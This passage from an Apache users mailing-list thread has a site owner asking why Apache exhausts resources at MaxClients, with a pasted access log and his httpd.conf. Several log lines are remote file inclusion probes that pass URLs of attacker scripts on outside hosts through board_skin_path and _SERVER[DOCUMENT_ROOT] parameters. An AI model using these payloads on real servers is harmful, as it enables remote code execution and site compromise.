/index.php/2009/01/11/goodbye-itunes-forever?blog=1 HTTP/1.1" 301 - "-"
"Mozilla/4.0 (compatible; MSIE 5.01; Windows XP)"
66.249.65.16 - - [25/Jan/2010:11:08:13 -0500] "GET /list.php?c=1-004720
HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
http://www.google.com/bot.html)"
67.195.115.220 - - [25/Jan/2010:11:08:20 -0500] "GET /news.php?c=1-175134
HTTP/1.0" 200 22583 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0;
http://help.yahoo.com/help/us/ysearch/slurp)"
67.195.115.220 - - [25/Jan/2010:11:08:22 -0500] "GET
/templates/moonlight.css HTTP/1.0" 304 - "
http://www.moonlightrpg.com/news.php?c=1-175134" "Mozilla/5.0 (compatible;
Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)"
99.8.227.38 - - [25/Jan/2010:11:09:23 -0500] "GET
/index.php/2008/06/01/share-the-love?blog=1 HTTP/1.1" 301 - "-" "Mozilla/4.0
(compatible; MSIE 5.01; Windows XP)"
66.249.65.51 - - [25/Jan/2010:11:09:50 -0500] "GET /d/24893-2/img_8856.jpg
HTTP/1.1" 200 4070 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:09:51 -0500] "GET /d/44164-2/img_1377.jpg
HTTP/1.1" 304 - "-" "Googlebot-Image/1.0"
74.208.14.245 - - [25/Jan/2010:11:09:58 -0500] "GET
/index.php/2009/05/27/fuck-you-microsoft?blog=1 HTTP/1.1" 301 - "-"
"Mozilla/4.0 (compatible; MSIE 5.01; Windows XP)"
66.249.65.16 - - [25/Jan/2010:11:10:36 -0500] "GET /news.php?c=1-003459
HTTP/1.1" 200 22587 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
http://www.google.com/bot.html)"
66.249.65.47 - - [25/Jan/2010:11:11:10 -0500] "GET /d/31867-1/100_1662.jpg
HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:11:10 -0500] "GET /d/31867-1/100_1662.jpg
HTTP/1.1" 200 110529 "-" "Googlebot-Image/1.0"
210.205.6.130 - - [25/Jan/2010:11:11:47 -0500] "GET
//write_update.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 404 300
"-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:11:47 -0500] "GET
/about.php?c=1-183140//write_update.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200 25593
"-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:11:47 -0500] "GET
//write_update.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 404 300
"-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:11:47 -0500] "GET
/about.php?c=1-183459//write_update.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200 25590
"-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:11:47 -0500] "GET
/about.php?c=1-183140//write_update.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200 25588
"-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:11:47 -0500] "GET
/about.php?c=1-183459//write_update.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200 25588
"-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:11:51 -0500] "GET
/about.php?c=1-183140//write_update.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200 25588
"-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:11:51 -0500] "GET
//write_update.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 404 300
"-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:11:51 -0500] "GET
/about.php?c=1-183459//write_update.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200 25585
"-" "Mozilla/5.0"
66.249.65.47 - - [25/Jan/2010:11:12:29 -0500] "GET /d/16117-1/img_0079.jpg
HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:12:30 -0500] "GET /d/16117-1/img_0079.jpg
HTTP/1.1" 200 168250 "-" "Googlebot-Image/1.0"
208.80.193.30 - - [25/Jan/2010:11:12:47 -0500] "GET / HTTP/1.0" 302 - "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322;
ZangoToolbar 4.8.2; yplus 5.6.04b)"
66.249.65.16 - - [25/Jan/2010:11:13:09 -0500] "GET /home.php?c=1-003451
HTTP/1.1" 200 28136 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
http://www.google.com/bot.html)"
66.249.65.51 - - [25/Jan/2010:11:13:27 -0500] "GET
/v/vacations/Vacation+2005+_Myrtle+Beach_/img_0584.jpg.html HTTP/1.1" 200
30523 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
http://www.google.com/bot.html)"
66.249.65.51 - - [25/Jan/2010:11:13:52 -0500] "GET /d/39051-2/img_0149.jpg
HTTP/1.1" 304 - "-" "Googlebot-Image/1.0"
220.181.125.67 - - [25/Jan/2010:11:14:37 -0500] "GET / HTTP/1.1" 302 - "-"
"Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
220.181.125.67 - - [25/Jan/2010:11:14:48 -0500] "GET /home.php? HTTP/1.1"
200 28105 "-" "Sogou web spider/4.0(+
http://www.sogou.com/docs/help/webmasters.htm#07)"
189.108.236.148 - - [25/Jan/2010:11:15:08 -0500] "GET
/about.php%253Fc%253D1-183459//?_SERVER[DOCUMENT_ROOT]=
http://200.199.242.22/images/.ajim/ajim1.txt?? HTTP/1.1" 404 310 "-"
"Mozilla/5.0"
189.108.236.148 - - [25/Jan/2010:11:15:08 -0500] "GET
/about.php%253Fc%253D1-175740//?_SERVER[DOCUMENT_ROOT]=
http://200.199.242.22/images/.ajim/ajim1.txt?? HTTP/1.1" 404 310 "-"
"Mozilla/5.0"
66.249.65.23 - - [25/Jan/2010:11:15:08 -0500] "GET
/wp-content/uploads/2009/11/IMG_0531-300x225.jpg HTTP/1.1" 304 - "-"
"Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:15:33 -0500] "GET /d/2500-1/img_1638.jpg
HTTP/1.1" 200 112870 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:15:36 -0500] "GET /d/40585-2/img_0538.jpg
HTTP/1.1" 200 2871 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:15:38 -0500] "GET /d/26550-2/img_9264.jpg
HTTP/1.1" 200 4781 "-" "Googlebot-Image/1.0"
117.198.104.117 - - [25/Jan/2010:11:15:47 -0500] "GET
/index.php/2009/05/27/fuck-you-microsoft?blog=1 HTTP/1.1" 301 - "-"
"Mozilla/4.0 (compatible; MSIE 5.01; Windows XP)"
66.249.65.60 - - [25/Jan/2010:11:15:56 -0500] "GET
/2008/12/09/our-6th-and-longest-date/feed/ HTTP/1.1" 200 783 "-"
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.16 - - [25/Jan/2010:11:15:57 -0500] "GET /home.php?c=1-003452
HTTP/1.1" 200 28136 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
http://www.google.com/bot.html)"
66.249.65.47 - - [25/Jan/2010:11:16:28 -0500] "GET /d/29738-2/img_9942.jpg
HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:16:29 -0500] "GET /d/29738-2/img_9942.jpg
HTTP/1.1" 200 4343 "-" "Googlebot-Image/1.0"
66.249.65.47 - - [25/Jan/2010:11:17:47 -0500] "GET /d/27685-2/img_9534.jpg
HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:17:48 -0500] "GET /d/27685-2/img_9534.jpg
HTTP/1.1" 200 3453 "-" "Googlebot-Image/1.0"
66.249.65.47 - - [25/Jan/2010:11:18:12 -0500] "GET /srss/25166 HTTP/1.1" 301
334 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
http://www.google.com/bot.html)"
66.249.65.51 - - [25/Jan/2010:11:18:13 -0500] "GET /srss/25166 HTTP/1.1" 500
44 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
http://www.google.com/bot.html)"
66.249.65.51 - - [25/Jan/2010:11:19:07 -0500] "GET /d/29223-2/IMG_0228.JPG
HTTP/1.1" 304 - "-" "Googlebot-Image/1.0"
174.129.48.21 - - [25/Jan/2010:11:19:25 -0500] "GET
/index.php/2009/01/11/goodbye-itunes-forever?blog=1 HTTP/1.1" 301 - "-"
"Mozilla/4.0 (compatible; MSIE 5.01; Windows XP)"
66.249.65.51 - - [25/Jan/2010:11:20:18 -0500] "GET
/main.php?g2_view=rating.RatingCallback&g2_command=rate&g2_itemId=29553&g2_rating=4&g2_authToken=__AUTHTOKEN__
HTTP/1.1" 200 120 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
http://www.google.com/bot.html)"
66.249.65.47 - - [25/Jan/2010:11:20:26 -0500] "GET /d/4966-2/img_3735.jpg
HTTP/1.1" 301 345 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:20:27 -0500] "GET /d/4966-2/img_3735.jpg
HTTP/1.1" 200 4296 "-" "Googlebot-Image/1.0"
66.249.65.16 - - [25/Jan/2010:11:20:50 -0500] "GET /news.php?c=1-004720
HTTP/1.1" 200 22587 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
http://www.google.com/bot.html)"
66.249.65.47 - - [25/Jan/2010:11:21:46 -0500] "GET /d/11853-2/100_1617.jpg
HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:21:46 -0500] "GET /d/11853-2/100_1617.jpg
HTTP/1.1" 200 4363 "-" "Googlebot-Image/1.0"
66.249.65.47 - - [25/Jan/2010:11:23:05 -0500] "GET /d/5536-3/img_2489.jpg
HTTP/1.1" 301 345 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:23:06 -0500] "GET /d/5536-3/img_2489.jpg
HTTP/1.1" 200 35271 "-" "Googlebot-Image/1.0"
66.249.65.16 - - [25/Jan/2010:11:23:17 -0500] "GET /home.php?c=1-031707
HTTP/1.1" 200 28136 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
http://www.google.com/bot.html)"
195.137.64.88 - - [25/Jan/2010:11:24:06 -0500] "GET
/%20%20/delete_all.php?board_skin_path=
http://www.youth.rs/dmdocuments/idxx.txt??? HTTP/1.1" 404 301 "-"
"Mozilla/5.0"
195.137.64.88 - - [25/Jan/2010:11:24:06 -0500] "GET
/delete_all.php?board_skin_path=http://www.youth.rs/dmdocuments/idxx.txt???
HTTP/1.1" 404 298 "-" "Mozilla/5.0"
195.137.64.88 - - [25/Jan/2010:11:24:23 -0500] "GET
/motd.php%20%20/delete_all.php?board_skin_path=
http://www.youth.rs/dmdocuments/idxx.txt??? HTTP/1.1" 404 309 "-"
"Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:25:02 -0500] "GET
//formmail_send.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
HTTP/1.1" 404 301 "-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:25:02 -0500] "GET
//write_update.php?board_skin_path=
http://www.hubns.co.kr//data/list/heheh.txt??? HTTP/1.1" 404 300 "-"
"Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:25:10 -0500] "GET
//formmail_send.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
HTTP/1.1" 404 301 "-" "Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:25:25 -0500] "GET
//formmail_send.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
HTTP/1.1" 404 301 "-" "Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:25:27 -0500] "GET
/about.php%253Fc%253D1-175740//formmail_send.php?board_skin_path=
http://www.youth.rs/editor/idxx.txt?? HTTP/1.1" 404 327 "-" "Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:25:27 -0500] "GET
/about.php%253Fc%253D1-183459//formmail_send.php?board_skin_path=
http://www.youth.rs/editor/idxx.txt?? HTTP/1.1" 404 327 "-" "Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:25:27 -0500] "GET
//formmail_send.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
HTTP/1.1" 404 301 "-" "Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:25:35 -0500] "GET
//formmail_send.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
HTTP/1.1" 404 301 "-" "Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:25:46 -0500] "GET
/about.php%253Fc%253D1-183459//formmail_send.php?board_skin_path=
http://www.youth.rs/editor/idxx.txt?? HTTP/1.1" 404 327 "-" "Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:25:46 -0500] "GET
/about.php%253Fc%253D1-175740//formmail_send.php?board_skin_path=
http://www.youth.rs/editor/idxx.txt?? HTTP/1.1" 404 327 "-" "Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:25:46 -0500] "GET
//formmail_send.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
HTTP/1.1" 404 301 "-" "Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:26:51 -0500] "GET
//formmail_send.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
HTTP/1.1" 404 301 "-" "Mozilla/5.0"
67.195.115.93 - - [25/Jan/2010:11:29:07 -0500] "GET /robots.txt HTTP/1.0"
200 54 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)"
86.109.170.73 - - [25/Jan/2010:11:29:31 -0500] "GET
//formmail_send.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
HTTP/1.1" 404 301 "-" "Mozilla/5.0"
72.14.199.119 - - [25/Jan/2010:11:30:25 -0500] "GET /srss/33266 HTTP/1.1"
301 334 "-" "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1
subscribers; feed-id=1114945347185113990)"
210.205.6.233 - - [25/Jan/2010:11:31:41 -0500] "GET
//write_comment_update.php?board_skin_path=
http://www.youth.rs/dmdocuments/idxx.txt??? HTTP/1.1" 404 308 "-"
"Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:32:19 -0500] "GET
//_tail.php?board_skin_path=http://www.youth.rs/editor/idxx.txt?? HTTP/1.1"
404 293 "-" "Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:32:28 -0500] "GET
//_tail.php?board_skin_path=http://www.youth.rs/editor/idxx.txt?? HTTP/1.1"
404 293 "-" "Mozilla/5.0"
195.137.64.88 - - [25/Jan/2010:11:32:47 -0500] "GET
//write_comment_update.php?board_skin_path=
http://www.youth.rs/dmdocuments/idxx.txt??? HTTP/1.1" 404 308 "-"
"Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:32:52 -0500] "GET
/about.php%253Fc%253D1-183459//_tail.php?board_skin_path=
http://www.youth.rs/editor/idxx.txt?? HTTP/1.1" 404 319 "-" "Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:32:52 -0500] "GET
//_tail.php?board_skin_path=http://www.youth.rs/editor/idxx.txt?? HTTP/1.1"
404 293 "-" "Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:32:53 -0500] "GET
/about.php%253Fc%253D1-175740//_tail.php?board_skin_path=
http://www.youth.rs/editor/idxx.txt?? HTTP/1.1" 404 319 "-" "Mozilla/5.0"
91.212.226.210 - - [25/Jan/2010:11:33:01 -0500] "GET / HTTP/1.0" 301 318 "
http://moonlightrpg.com/" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5;
Windows NT 4.0) Opera 7.0 [en]"
86.109.170.73 - - [25/Jan/2010:11:33:33 -0500] "GET
//_tail.php?board_skin_path=http://www.youth.rs/editor/idxx.txt?? HTTP/1.1"
404 293 "-" "Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:33:42 -0500] "GET
//_tail.php?board_skin_path=http://www.youth.rs/editor/idxx.txt?? HTTP/1.1"
404 293 "-" "Mozilla/5.0"
195.137.64.88 - - [25/Jan/2010:11:35:50 -0500] "GET
/%20%20//write_comment_update.php?board_skin_path=
http://www.youth.rs/dmdocuments/idxx.txt??? HTTP/1.1" 404 312 "-"
"Mozilla/5.0"
195.137.64.88 - - [25/Jan/2010:11:35:50 -0500] "GET
//write_comment_update.php?board_skin_path=
http://www.youth.rs/dmdocuments/idxx.txt??? HTTP/1.1" 404 308 "-"
"Mozilla/5.0"
86.109.170.73 - - [25/Jan/2010:11:36:08 -0500] "GET
//_tail.php?board_skin_path=http://www.youth.rs/editor/idxx.txt?? HTTP/1.1"
404 293 "-" "Mozilla/5.0"
95.108.142.150 - - [25/Jan/2010:11:36:09 -0500] "GET /robots.txt HTTP/1.1"
200 69 "-" "Yandex/1.01.001 (compatible; Win16; H)"
95.108.142.150 - - [25/Jan/2010:11:36:10 -0500] "GET /robots.txt HTTP/1.1"
200 55 "-" "Yandex/1.01.001 (compatible; Win16; H)"
87.250.252.242 - - [25/Jan/2010:11:37:17 -0500] "GET / HTTP/1.1" 301 360 "-"
"Yandex/1.01.001 (compatible; Win16; I)"
87.250.252.242 - - [25/Jan/2010:11:37:26 -0500] "GET / HTTP/1.1" 301 355 "-"
"Yandex/1.01.001 (compatible; Win16; I)"
66.249.65.242 - - [25/Jan/2010:11:37:37 -0500] "GET /p/feverishcomedian.php
HTTP/1.1" 404 302 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
http://www.google.com/bot.html)"
87.250.252.242 - - [25/Jan/2010:11:37:53 -0500] "GET / HTTP/1.1" 301 358 "-"
"Yandex/1.01.001 (compatible; Win16; I)"
87.250.252.242 - - [25/Jan/2010:11:37:54 -0500] "GET / HTTP/1.1" 301 359 "-"
"Yandex/1.01.001 (compatible; Win16; I)"
87.250.252.242 - - [25/Jan/2010:11:38:00 -0500] "GET / HTTP/1.1" 301 359 "-"
"Yandex/1.01.001 (compatible; Win16; I)"



On Wed, Jan 27, 2010 at 05:54, Daniel Reinhardt <cr...@cryptodan.net>wrote:

>
> --------------------------------------------------
> From: "Dan Bunyard" <da...@gmail.com>
> Sent: 27 January, 2010 1:28
> To: <us...@httpd.apache.org>
> Subject: [users@httpd] Runaway Apache Process
>
>
>  This has happened twice now and it's a little bit concerning to me. I have
>> a
>> Fedora 12 server with 5GB of RAM that I use to host a few small web sites
>> of
>> mine. As I mentioned, this happened once before. I tried to load one of my
>> web sites today and it took FOREVER (as in the 10s of minutes) to load. I
>> SSHed into the box and found the load average around 100 (dual core
>> machine). Since this was the second time it had happened, I knew that it
>> was
>> Apache causing it. So I restarted the Apache service and everything
>> returned
>> to normal. A look in the error_log showed this error:
>>
>> server reached MaxClients setting, consider raising the MaxClients setting
>>
>> I suspect that this is the reason that Apache was eating up all my system
>> resources but I don't have any idea how to fix it.
>>
>> I do use PHP and MySQL fairly heavily. All the sites on the server use PHP
>> in some form and most of the use MySQL. Could this be part of the problem?
>> I
>> attached a copy of my httpd.conf file to this message if that will help
>> (It's also inserted into this email at the very bottom).
>>
>> Any help would be appreciated!!!
>> Thanks,
>> --
>> Dan
>>
>> http://www.moonlightrpg.com
>> http://www.linkedin.com/in/danbunyard
>> http://www.danodemano.com
>> http://www.dansrandomness.com
>> http://www.danandshelley.com
>>
>> This is not a problem that requires infinite wisdom, Benj. This is a
>> problem
>> that requires enough neural organization to qualify as a vertebrate,
>> apparently a stretch for some folks these days.
>> ~Cecil Adams.
>>
>>
>> httpd.conf
>> #
>> # This is the main Apache server configuration file.  It contains the
>> # configuration directives that give the server its instructions.
>> # See <URL:http://httpd.apache.org/docs/2.2/> for detailed information.
>> # In particular, see
>> # <URL:http://httpd.apache.org/docs/2.2/mod/directives.html>
>> # for a discussion of each configuration directive.
>> #
>> #
>> # Do NOT simply read the instructions in here without understanding
>> # what they do.  They're here only as hints or reminders.  If you are
>> unsure
>> # consult the online docs. You have been warned.
>> #
>> # The configuration directives are grouped into three basic sections:
>> #  1. Directives that control the operation of the Apache server process
>> as
>> a
>> #     whole (the 'global environment').
>> #  2. Directives that define the parameters of the 'main' or 'default'
>> server,
>> #     which responds to requests that aren't handled by a virtual host.
>> #     These directives also provide default values for the settings
>> #     of all virtual hosts.
>> #  3. Settings for virtual hosts, which allow Web requests to be sent to
>> #     different IP addresses or hostnames and have them handled by the
>> #     same Apache server process.
>> #
>> # Configuration and logfile names: If the filenames you specify for many
>> # of the server's control files begin with "/" (or "drive:/" for Win32),
>> the
>> # server will use that explicit path.  If the filenames do *not* begin
>> # with "/", the value of ServerRoot is prepended -- so "logs/foo.log"
>> # with ServerRoot set to "/etc/httpd" will be interpreted by the
>> # server as "/etc/httpd/logs/foo.log".
>> #
>>
>> ### Section 1: Global Environment
>> #
>> # The directives in this section affect the overall operation of Apache,
>> # such as the number of concurrent requests it can handle or where it
>> # can find its configuration files.
>> #
>>
>> #
>> # Don't give away too much information about all the subcomponents
>> # we are running.  Comment out this line if you don't mind remote sites
>> # finding out what major optional modules you are running
>> ServerTokens OS
>>
>> #
>> # ServerRoot: The top of the directory tree under which the server's
>> # configuration, error, and log files are kept.
>> #
>> # NOTE!  If you intend to place this on an NFS (or otherwise network)
>> # mounted filesystem then please read the LockFile documentation
>> # (available at <URL:
>> http://httpd.apache.org/docs/2.2/mod/mpm_common.html#lockfile>);
>> # you will save yourself a lot of trouble.
>> #
>> # Do NOT add a slash at the end of the directory path.
>> #
>> ServerRoot "/etc/httpd"
>>
>> #
>> # PidFile: The file in which the server should record its process
>> # identification number when it starts.
>> #
>> PidFile run/httpd.pid
>>
>> #
>> # Timeout: The number of seconds before receives and sends time out.
>> #
>> Timeout 120
>>
>> #
>> # KeepAlive: Whether or not to allow persistent connections (more than
>> # one request per connection). Set to "Off" to deactivate.
>> #
>> KeepAlive Off
>>
>> #
>> # MaxKeepAliveRequests: The maximum number of requests to allow
>> # during a persistent connection. Set to 0 to allow an unlimited amount.
>> # We recommend you leave this number high, for maximum performance.
>> #
>> MaxKeepAliveRequests 100
>>
>> #
>> # KeepAliveTimeout: Number of seconds to wait for the next request from
>> the
>> # same client on the same connection.
>> #
>> KeepAliveTimeout 15
>>
>> ##
>> ## Server-Pool Size Regulation (MPM specific)
>> ##
>>
>> # prefork MPM
>> # StartServers: number of server processes to start
>> # MinSpareServers: minimum number of server processes which are kept spare
>> # MaxSpareServers: maximum number of server processes which are kept spare
>> # ServerLimit: maximum value for MaxClients for the lifetime of the server
>> # MaxClients: maximum number of server processes allowed to start
>> # MaxRequestsPerChild: maximum number of requests a server process serves
>> <IfModule prefork.c>
>> StartServers       8
>> MinSpareServers    5
>> MaxSpareServers   20
>> ServerLimit      256
>> MaxClients       100
>> MaxRequestsPerChild  0
>> </IfModule>
>>
>> # worker MPM
>> # StartServers: initial number of server processes to start
>> # MaxClients: maximum number of simultaneous client connections
>> # MinSpareThreads: minimum number of worker threads which are kept spare
>> # MaxSpareThreads: maximum number of worker threads which are kept spare
>> # ThreadsPerChild: constant number of worker threads in each server
>> process
>> # MaxRequestsPerChild: maximum number of requests a server process serves
>> <IfModule worker.c>
>> StartServers         2
>> MaxClients         100
>> MinSpareThreads     15
>> MaxSpareThreads     25
>> ThreadsPerChild     5
>> MaxRequestsPerChild  0
>> </IfModule>
>>
>> #
>> # Listen: Allows you to bind Apache to specific IP addresses and/or
>> # ports, in addition to the default. See also the <VirtualHost>
>> # directive.
>> #
>> # Change this to Listen on specific IP addresses as shown below to
>> # prevent Apache from glomming onto all bound IP addresses (0.0.0.0)
>> #
>> #Listen 12.34.56.78:80
>> Listen *:80
>> Listen *:81
>>
>> #
>> # Dynamic Shared Object (DSO) Support
>> #
>> # To be able to use the functionality of a module which was built as a DSO
>> you
>> # have to place corresponding `LoadModule' lines at this location so the
>> # directives contained in it are actually available _before_ they are
>> used.
>> # Statically compiled modules (those listed by `httpd -l') do not need
>> # to be loaded here.
>> #
>> # Example:
>> # LoadModule foo_module modules/mod_foo.so
>> #
>> LoadModule auth_basic_module modules/mod_auth_basic.so
>> LoadModule auth_digest_module modules/mod_auth_digest.so
>> LoadModule authn_file_module modules/mod_authn_file.so
>> LoadModule authn_alias_module modules/mod_authn_alias.so
>> LoadModule authn_anon_module modules/mod_authn_anon.so
>> LoadModule authn_dbm_module modules/mod_authn_dbm.so
>> LoadModule authn_default_module modules/mod_authn_default.so
>> LoadModule authz_host_module modules/mod_authz_host.so
>> LoadModule authz_user_module modules/mod_authz_user.so
>> LoadModule authz_owner_module modules/mod_authz_owner.so
>> LoadModule authz_groupfile_module modules/mod_authz_groupfile.so
>> LoadModule authz_dbm_module modules/mod_authz_dbm.so
>> LoadModule authz_default_module modules/mod_authz_default.so
>> LoadModule ldap_module modules/mod_ldap.so
>> LoadModule authnz_ldap_module modules/mod_authnz_ldap.so
>> LoadModule include_module modules/mod_include.so
>> LoadModule log_config_module modules/mod_log_config.so
>> LoadModule logio_module modules/mod_logio.so
>> LoadModule env_module modules/mod_env.so
>> LoadModule ext_filter_module modules/mod_ext_filter.so
>> LoadModule mime_magic_module modules/mod_mime_magic.so
>> LoadModule expires_module modules/mod_expires.so
>> LoadModule deflate_module modules/mod_deflate.so
>> LoadModule headers_module modules/mod_headers.so
>> LoadModule usertrack_module modules/mod_usertrack.so
>> LoadModule setenvif_module modules/mod_setenvif.so
>> LoadModule mime_module modules/mod_mime.so
>> LoadModule dav_module modules/mod_dav.so
>> LoadModule status_module modules/mod_status.so
>> LoadModule autoindex_module modules/mod_autoindex.so
>> LoadModule info_module modules/mod_info.so
>> LoadModule dav_fs_module modules/mod_dav_fs.so
>> LoadModule vhost_alias_module modules/mod_vhost_alias.so
>> LoadModule negotiation_module modules/mod_negotiation.so
>> LoadModule dir_module modules/mod_dir.so
>> LoadModule actions_module modules/mod_actions.so
>> LoadModule speling_module modules/mod_speling.so
>> LoadModule userdir_module modules/mod_userdir.so
>> LoadModule alias_module modules/mod_alias.so
>> LoadModule rewrite_module modules/mod_rewrite.so
>> LoadModule proxy_module modules/mod_proxy.so
>> LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
>> LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
>> LoadModule proxy_http_module modules/mod_proxy_http.so
>> LoadModule proxy_connect_module modules/mod_proxy_connect.so
>> LoadModule cache_module modules/mod_cache.so
>> LoadModule suexec_module modules/mod_suexec.so
>> LoadModule disk_cache_module modules/mod_disk_cache.so
>> LoadModule cgi_module modules/mod_cgi.so
>>
>> #
>> # The following modules are not loaded by default:
>> #
>> #LoadModule cern_meta_module modules/mod_cern_meta.so
>> #LoadModule asis_module modules/mod_asis.so
>>
>> #
>> # Load config files from the config directory "/etc/httpd/conf.d".
>> #
>> Include conf.d/*.conf
>>
>> #
>> # ExtendedStatus controls whether Apache will generate "full" status
>> # information (ExtendedStatus On) or just basic information
>> (ExtendedStatus
>> # Off) when the "server-status" handler is called. The default is Off.
>> #
>> ExtendedStatus On
>>
>> #
>> # If you wish httpd to run as a different user or group, you must run
>> # httpd as root initially and it will switch.
>> #
>> # User/Group: The name (or #number) of the user/group to run httpd as.
>> #  . On SCO (ODT 3) use "User nouser" and "Group nogroup".
>> #  . On HPUX you may not be able to use shared memory as nobody, and the
>> #    suggested workaround is to create a user www and use that user.
>> #  NOTE that some kernels refuse to setgid(Group) or semctl(IPC_SET)
>> #  when the value of (unsigned)Group is above 60000;
>> #  don't use Group #-1 on these systems!
>> #
>> User apache
>> Group apache
>>
>> ### Section 2: 'Main' server configuration
>> #
>> # The directives in this section set up the values used by the 'main'
>> # server, which responds to any requests that aren't handled by a
>> # <VirtualHost> definition.  These values also provide defaults for
>> # any <VirtualHost> containers you may define later in the file.
>> #
>> # All of these directives may appear inside <VirtualHost> containers,
>> # in which case these default settings will be overridden for the
>> # virtual host being defined.
>> #
>>
>> #
>> # ServerAdmin: Your address, where problems with the server should be
>> # e-mailed.  This address appears on some server-generated pages, such
>> # as error documents.  e.g. admin@your-domain.com
>> #
>> ServerAdmin dan.bunyard@att.net
>>
>> #
>> # ServerName gives the name and port that the server uses to identify
>> itself.
>> # This can often be determined automatically, but we recommend you specify
>> # it explicitly to prevent problems during startup.
>> #
>> # If this is not set to valid DNS name for your host, server-generated
>> # redirections will not work.  See also the UseCanonicalName directive.
>> #
>> # If your host doesn't have a registered DNS name, enter its IP address
>> here.
>> # You will have to access it by its address anyway, and this will make
>> # redirections work in a sensible way.
>> #
>> ServerName server.danodemano.com:80
>>
>> #
>> # UseCanonicalName: Determines how Apache constructs self-referencing
>> # URLs and the SERVER_NAME and SERVER_PORT variables.
>> # When set "Off", Apache will use the Hostname and Port supplied
>> # by the client.  When set "On", Apache will use the value of the
>> # ServerName directive.
>> #
>> UseCanonicalName Off
>>
>> #
>> # DocumentRoot: The directory out of which you will serve your
>> # documents. By default, all requests are taken from this directory, but
>> # symbolic links and aliases may be used to point to other locations.
>> #
>> DocumentRoot "/var/www/html"
>>
>> #
